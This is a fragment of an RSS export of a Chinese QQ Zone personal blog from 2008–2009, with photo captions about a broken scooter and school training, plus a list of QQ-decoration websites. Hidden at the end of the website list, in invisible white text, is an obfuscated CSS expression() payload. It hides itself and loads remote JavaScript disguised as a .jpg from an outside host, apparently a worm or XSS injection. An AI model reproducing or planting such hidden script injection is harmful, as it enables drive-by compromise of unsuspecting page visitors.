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src="http://b16.photo.store.qq.com/http_imgload.cgi?/rurl4_b=f83a822685a9050cfe9bd516563bc5441443eb2d48aeb56e3ce31a6ca204baf0a1b2c878797a7310e3c5424845a8e9a6355e84ba8f66de70edfbbdb40411b836c70288914aa8a612747165d8ebc9ea889701f15a" /></a><wbr /> <br>照片描述：记得一次再理工大训练。我的亲亲的电驴轮胎爆了。。  居然是爆了 <br> <br>55555 从迎泽桥西推回我家 好累得 推了1个多小时。。 而且边推边抬后座~~ <br><wbr /><a href="http://b8.photo.store.qq.com/http_imgload.cgi?/rurl4_b=f83a822685a9050cfe9bd516563bc5442d12743a7082800d7be62824fa6e8dc025646e7d2eb74170b3fc6a3c19996cc6ea7b22bb84a0393c1945e2b461fbaa4f69cbc6167f873adfc4f588b3c86f642988f9f920" target="_blank"><img style="width:670px;height:502px;border:0;" src="http://b8.photo.store.qq.com/http_imgload.cgi?/rurl4_b=f83a822685a9050cfe9bd516563bc5442d12743a7082800d7be62824fa6e8dc025646e7d2eb74170b3fc6a3c19996cc6ea7b22bb84a0393c1945e2b461fbaa4f69cbc6167f873adfc4f588b3c86f642988f9f920" /></a><wbr /> <br>照片描述：训练不好 还要写2000字检查<wbr /><a href="http://b19.photo.store.qq.com/http_imgload.cgi?/rurl4_b=f83a822685a9050cfe9bd516563bc544c3320b1353ae3e8b9152119ac1b8a94e13dd9d5504d298a0c70747d81b6b3b9de591d18f4015f334472648cb2113fafd1a63b85418b7f48518590d4e84a0c3cfdfc45ce1" target="_blank"><img style="width:640px;height:480px;border:0;" src="http://b19.photo.store.qq.com/http_imgload.cgi?/rurl4_b=f83a822685a9050cfe9bd516563bc544c3320b1353ae3e8b9152119ac1b8a94e13dd9d5504d298a0c70747d81b6b3b9de591d18f4015f334472648cb2113fafd1a63b85418b7f48518590d4e84a0c3cfdfc45ce1" /></a><wbr /> <br> <br>体育生不仅最后一排而且不会放过下课的每一分钟来保证睡眠  <br> <br> <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[123829043@qq.com(╋多儿秀╋)]]></author>
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<pubDate>Sat, 15 Aug 2009 22:34:12 GMT</pubDate>
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<title><![CDATA[制作QQ空间5个很有用的网]]></title>
<link>http://123829043.qzone.qq.com/blog/1232999427</link>
<description><![CDATA[<a href="http://www.520name.com/" target="_blank">www.520name.com</a><wbr />  提供QQ名字，QQ分组,QQ签名等资料等  <span style="color:#cc0000;line-height:1.8em;">记法</span><wbr />: 我爱你名字  <br> <br><a href="http://www.qq36ji.com/" target="_blank">WwW.qq36ji.CoM</a><wbr />  提供QQ空间模块，QQ空间代码,QQ空间flash 等   <span style="color:#cc0000;line-height:1.8em;">记法</span><wbr />: QQ36计  <br> <br><a href="http://www.fzlting.com/" target="_blank">www.fzlting.com</a><wbr />   提供非主流音乐,DJ音乐,伤感音乐等  <span style="color:#cc0000;line-height:1.8em;">记法:</span><wbr />非主流音乐视听 当时让是 非主流听了  <br> <br><a href="http://www.qq-liuyan.net/" target="_blank">www.qq-liuyan.net</a><wbr /> 提供QQ空间留言代码 图型留言等   <span style="color:#cc0000;line-height:1.8em;">记法</span><wbr />: QQ-留言(中间有个-) 记住是Net哦  <br> <br>等有感情的时候再抒发,只是列出一些表,希望大家给予支持 <br>  <br><a href="http://www.qqtubiao5.cn" target="_blank">www.qqtubiao5.cn</a><wbr /> 提供所有QQ图标点亮教程   <span style="color:#cc0000;line-height:1.8em;">记法</span><wbr />: QQ图标网(qqtubiao5)<span style="color:#FFFFFF;line-height:1.8em;"><wbr />[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash]</span><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[123829043@qq.com(╋多儿秀╋)]]></author>
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<pubDate>Mon, 26 Jan 2009 19:50:27 GMT</pubDate>
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<title><![CDATA[Good Bye Qzone !]]></title>
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<pubDate>Sun, 31 Aug 2008 15:21:04 GMT</pubDate>
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<pubDate>Sun, 17 Aug 2008 05:04:35 GMT</pubDate>
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<pubDate>Wed, 12 Mar 2008 15:56:25 GMT</pubDate>
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<pubDate>Sat, 23 Feb 2008 11:20:01 GMT</pubDate>
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